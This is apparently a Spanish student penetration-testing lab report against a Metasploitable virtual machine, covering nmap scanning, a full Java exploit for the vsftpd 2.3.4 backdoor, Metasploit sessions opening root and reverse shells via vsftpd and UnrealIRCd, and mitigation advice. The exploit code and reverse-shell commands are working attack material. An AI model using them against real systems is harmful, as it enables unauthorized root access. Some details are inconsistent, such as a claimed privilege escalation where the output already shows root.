

0. Introducción

El principal objetivo de esta práctica sería sacar información de un entorno preparado para ser atacado y saber que herramientas y cómo podemos explotar dicho entorno.

El alcance definido:

- ☐ Sistemas o direcciones IP incluidas.
- ☐ Restricciones establecidas
- ☐ Tiempo o duración de las pruebas

1. Metodología

1.1 Reconocimiento

Para sacar la ip de máquina usamos la herramienta nmap, con la cual realizamos un escaneo completo de la red y los sistemas operativos conectados:

- nmap -sn 192.168.1.0/24:

```
(balbino@balbino)~[~]
$ nmap -sn 192.168.1.0/24
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-13 14:22 CEST
Nmap scan report for 192.168.1.1
Host is up (0.0087s latency).
MAC Address: 8C:19:B5:FF:E2:1F (Arcadyan)
Nmap scan report for 192.168.1.10
Host is up (0.014s latency).
MAC Address: D8:BC:38:68:01:80 (Espressif)
Nmap scan report for 192.168.1.11
Host is up (0.054s latency).
MAC Address: C8:2E:18:80:A3:00 (Espressif)
Nmap scan report for 192.168.1.12
Host is up (0.048s latency).
MAC Address: C0:95:CF:1A:72:C2 (Unknown)
Nmap scan report for 192.168.1.13
Host is up (0.043s latency).
MAC Address: 2C:93:FB:7D:C8:00 (Sercomm France Sarl)
Nmap scan report for 192.168.1.14
Host is up (0.0024s latency).
MAC Address: 2C:08:23:D8:D9:F0 (Sercomm France Sarl)
Nmap scan report for 192.168.1.24
Host is up (0.00039s latency).
MAC Address: 08:00:27:54:14:FB (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.1.19
Host is up.
Nmap done: 256 IP addresses (8 hosts up) scanned in 2.15 seconds
```

1.2 Escaneo y vulnerabilidades

Una vez conocemos la ip_victima pasamos a comprobar las vulnerabilidades que tiene:

- nmap -sS -sV -O ip_victima:

```
(balbino@balbino)-[~]
$ nmap -sS -sV -O 192.168.1.24
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-13 18:33 CEST
Nmap scan report for 192.168.1.24
Host is up (0.00040s latency).
Not shown: 977 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec         netkit-rsh rexecd
513/tcp   open  login        OpenBSD or Solaris rlogind
514/tcp   open  tcpwrapped
1099/tcp  open  java-rmi     GNU Classpath grmiregistry
1524/tcp  open  bindshell    Metasploitable root shell
2049/tcp  open  nfs          2-4 (RPC #100003)
2121/tcp  open  ftp          ProFTPD 1.3.1
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc          VNC (protocol 3.3)
6000/tcp  open  X11          (access denied)
6667/tcp  open  irc          UnrealIRCd
8009/tcp  open  ajp13        Apache Jserv (Protocol v1.3)
8180/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 08:00:27:54:14:FB (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.58 seconds
(balbino@balbino)-[~]
```

2. Resultados de la Vulnerabilidad

2.1 Detalles de las vulnerabilidades

Con este comando podemos ver las vulnerabilidades además de la versión y los puertos abiertos. Otra forma de verlo podría ser:

- `nmap -sV --script=vuln ip_victima:`


```

1 import java.io.*;
2 import java.net.*;
3
4 public class VsftpdExploit {
5
6     public static void main(String[] args) {
7         if (args.length < 2) {
8             System.out.println("Uso: java VsftpdExploit <target_ip> <target_port>");
9             System.out.println("Ejemplo: java VsftpdExploit 192.168.1.24");
10            return;
11        }
12
13        String targetIp = args[0];
14        int targetPort = Integer.parseInt(args[1]);
15
16        try {
17            // Creamos un socket para conectarnos al servidor FTP
18            Socket socket = new Socket(targetIp, targetPort);
19            // Configuramos un bfr para leer la entrada y un pw para escribir la salida
20            // El socket se conecta al puerto 21 por defecto
21            // de un servidor FTP, que es el puerto donde se espera la conexión
22            BufferedReader in = new BufferedReader(new InputStreamReader(socket.getInputStream()));
23            PrintWriter out = new PrintWriter(socket.getOutputStream(), true);
24
25            String banner = in.readLine();
26            System.out.println("[+] Servidor: " + banner);
27
28            // Verificar si es vsftpd 2.3.4
29            if (!banner.contains("vsFTPd 2.3.4")) {
30                System.out.println("[-] El servidor no parece ser vsftpd 2.3.4 vulnerable");
31                socket.close();
32                return;
33            }
34
35            // Activar la backdoor enviando el usuario con :
36            System.out.println("[+] Activando backdoor...");
37            out.println("USER usuario:"); // Payload malicioso
38            out.println("PASS cualquiercosa");
39
40            // Esperar un momento para que se active la backdoor
41            Thread.sleep(2000);
42
43            // Intentar conectar al puerto de la backdoor (6200)
44            System.out.println("[+] Intentando conectar a la backdoor en el puerto 6200...");
45            try {
46                Socket backdoor = new Socket(targetIp, 6200);
47                System.out.println("[+] Backdoor conectada con éxito!");
48
49                // Configurar streams para la shell interactiva
50                BufferedReader backdoorIn = new BufferedReader(new InputStreamReader(backdoor.getInputStream()));
51                PrintWriter backdoorOut = new PrintWriter(backdoor.getOutputStream(), true);
52                BufferedReader userInput = new BufferedReader(new InputStreamReader(System.in));
53
54                System.out.println("[+] Shell interactiva. Escribe 'exit' para salir");
55
56                // Leer la salida inicial de la backdoor
57                String line;
58                while ((line = backdoorIn.readLine()) != null) {
59                    System.out.println(line);
60                    break; // Solo mostrar la primera línea
61                }
62
63                // Shell interactiva
64                while (true) {
65                    System.out.print("$ ");
66                    String command = userInput.readLine();
67
68                    if (command.equalsIgnoreCase("exit")) {
69                        break;
70                    }
71
72                    backdoorOut.println(command);
73
74                    // Leer la salida del comando
75                    while ((line = backdoorIn.readLine()) != null) {
76                        if (line.isEmpty()) break;
77                        System.out.println(line);
78                    }
79                }
80
81                backdoor.close();
82            } catch (ConnectException e) {
83                System.out.println("[-] No se pudo conectar a la backdoor: " + e.getMessage());
84                System.out.println("[-] El servidor puede no ser vulnerable o la backdoor no se activó");
85            }
86
87            socket.close();
88        } catch (Exception e) {
89            System.err.println("[-] Error: " + e.getMessage());
90            e.printStackTrace();
91        }
92    }
93 }

```

Además de esta vulnerabilidad podemos encontrar otra como podría ser la de irc:

```

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > show options

Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):

Name      Current Setting  Required  Description
-----
CHOST      192.168.1.24    yes       The local client address
CPORT     6667            no        The local client port
Proxies    no              no        A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS    192.168.1.24    yes       The target host(s), see https://docs.m
tasptloit.com/docs/using-metasploit/basi
cs/using-metasploit.html
RPORT     6667            yes       The target port (TCP)

Exploit target:

Id  Name
--  ---
0   Automatic Target

View the full module info with the info, or info -d command.

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set LHOST 192.168.1.19
[!] Unknown datastore option: LHOST. Did you mean RHOST?
LHOST => 192.168.1.19
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set CHOST 192.168.1.19
CHOST => 192.168.1.19
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set CPORT 4444
CPORT => 4444
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > run
[*] 192.168.1.24:6667 - Exploit failed: A payload has not been selected.
[*] Exploit completed, but no session was created.
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > payload
[*] Unknown command: payload. Run the help command for more details.
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > payload cmd/unix/reverse
[*] Unknown command: payload. Run the help command for more details.
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set payload cmd/unix/reverse
payload => cmd/unix/reverse
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > run
[*] Started reverse TCP double handler on 192.168.1.19:4444
[*] 192.168.1.24:6667 - Connected to 192.168.1.24:6667...
:irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname...
:irc.Metasploitable.LAN NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead
[*] 192.168.1.24:6667 - Sending backdoor command...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo ij170e49GRJpMCNj;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "ij170e49GRJpMCNj\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (192.168.1.19:4444 -> 192.168.1.24:47764) at 2025-05-14 20:19:48 +0200

ls
Donation
LICENSE
aliases
badwords.channel.conf
badwords.message.conf
badwords.quit.conf
curl-ca-bundle.crt
dccallow.conf
doc
help.conf
ircd.log
ircd.pid
ircd.tune
modules
networks
spamfilter.conf
tmp
unreal
unrealircd.conf

```

Es otro tipo de vulnerabilidad muy parecida a la de ftp, en ambas obtenemos una reverse shell en la que podemos ejecutar los comandos que necesitemos, a esta vulnerabilidad se le conoce como CVE-2010-2075

2.2 Herramientas usadas

Las herramientas que hemos usado para la explotación y búsqueda de vulnerabilidades son:

- nmap: esta herramienta la hemos usado para escanear puertos,vulnerabilidades que tiene la máquina además de incluso poder encontrar la ip de la máquina la que queremos atacar
- msfconsole:este es el comando para poder abrir metasploit y poder usar dicha herramienta para obtener por ejemplo una reverse shell:
- vsftpd:primero buscamos la vulnerabilidad con un search vsftpd:

```
msf6 > search vsftpd

Matching Modules
=====
#  Name
-  -
0  auxiliary/dos/ftp/vsftpd_232
1  exploit/unix/ftp/vsftpd_234_backdoor

Disclosure Date  Rank    Check  Description
-----
2011-02-03      normal Yes    VSFTPD 2.3.2 Denial of Service
2011-07-03  excellent No     VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor
```

copiamos la ruta del exploit y lo usamos,para ello usaremos RHOST y RPORT como parámetros donde meteremos en los datos de la máquina víctima,una vez lo tengamos con un run ya se ejecutará y tendremos acceso a root:

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOST 192.168.1.24
RHOST => 192.168.1.24
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run
[*] 192.168.1.24:21 - Banner: 220 (vsFTPD 2.3.4)
[*] 192.168.1.24:21 - USER: 331 Please specify the password.
[+] 192.168.1.24:21 - Backdoor service has been spawned, handling...
[+] 192.168.1.24:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.19:37327 -> 192.168.1.24:6200) at 2025-05-14 20:55:41 +0200

whoami
root
```

- irc: para esta vulnerabilidad,hacemos exactamente lo mismo que el anterior cambiando en este caso que tendremos que añadir los parámetros CHOST y CPORT donde indicaremos la ip de donde estamos atacando y un puerto que esté disponible.

- nc: este comando es netcat,gracias a este podemos ver si existe vulnerabilidades en la máquina(nc ip_victima 6667) donde indicas ip y puerto.

```
(balbino@balbino)~$ nc 192.168.1.24 6667
:irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname...
:irc.Metasploitable.LAN NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead
ERROR :Closing Link: [192.168.1.19] (Ping timeout)
```

3. Escalación de Privilegios

3.1 Escalación de privilegios mediante explotación de vsftpd 2.3.4

Explotación del backdoor en vsftpd 2.3.4

Técnica: Explotación de un backdoor conocido en vsftpd 2.3.4 que permitía una conexión remota sin autenticación a un shell del sistema.

Pasos:

- Identificación: Se realizó una conexión al puerto FTP del servidor (21), detectando que el servidor tenía una versión vulnerable de vsftpd.
- Explotación: Utilizando Metasploit, se explotó la vulnerabilidad, y se estableció una shell remota en la máquina víctima.
- Resultado: Se obtuvo acceso al sistema como usuario limitado, y posteriormente se escaló a root mediante la ejecución de otros exploits.

A través de una simple conexión FTP, se consiguió acceso sin autenticación y se permitió la escalación posterior a privilegios de root.

3.2 Explotación de un backdoor en IRC

Explotación de vulnerabilidad en IRC

Técnica: Aprovechamiento de un backdoor intencional en UnrealIRCd 3.2.8.1, permitiendo ejecutar comandos remotos como root.

Pasos:

- Identificación: Se identificó que el servidor IRC vulnerable tenía el backdoor activo, lo que permitía ejecutar comandos arbitrarios.
- Explotación: A través de Metasploit, se explotó esta vulnerabilidad para ejecutar una shell remota, obteniendo así control total del sistema con privilegios de root.

- Resultado: Después de ejecutar el exploit, la conexión fue establecida con éxito, obteniendo acceso root en el servidor.

La explotación permitió que un atacante remoto pudiera ejecutar comandos arbitrarios, lo que comprometió completamente el sistema. Se obtuvo acceso root sin autenticación, lo que facilita un ataque persistente.

4 . Mitigación

4.1 Propuestas para remediar vulnerabilidades explotadas

- Actualizar servicios vulnerables
- Actualizar vsftpd a una versión segura ($\geq 3.0.0$).
- Eliminar cualquier versión de UnrealIRCd anterior a 3.2.9.
- Recomendar reinstalar desde fuentes oficiales.
- Revisar configuraciones de red y firewall
- Restringir el acceso a puertos innecesarios (como 21 o 6667) desde redes no autorizadas.
- Auditoría de usuarios y privilegios
- Analizar qué usuarios tienen acceso sudo o root, y aplicar el principio de mínimo privilegio.
- Establecer autenticación multifactor para accesos administrativos.

5. Conclusión

- Durante la evaluación de seguridad, se identificaron múltiples vulnerabilidades críticas que permitieron comprometer completamente el sistema:
- Acceso remoto sin autenticación mediante un backdoor en vsftpd.
- Ejecución remota de comandos como root por medio de un UnrealIRCd vulnerable.

- El impacto de estas vulnerabilidades es crítico, ya que permitieron la obtención de una shell remota como root con control total del sistema, pudiendo alterar archivos, crear usuarios, o exfiltrar datos.
- Este ejercicio demuestra la importancia de mantener actualizado el software, aplicar configuraciones seguras, y monitorear continuamente la infraestructura. La explotación fue posible gracias a servicios olvidados o desactualizados y a la falta de segmentación de red.
- Se recomienda actuar de forma inmediata sobre las propuestas de mitigación y considerar una revisión más profunda de otros sistemas en la misma red para evitar futuros compromisos.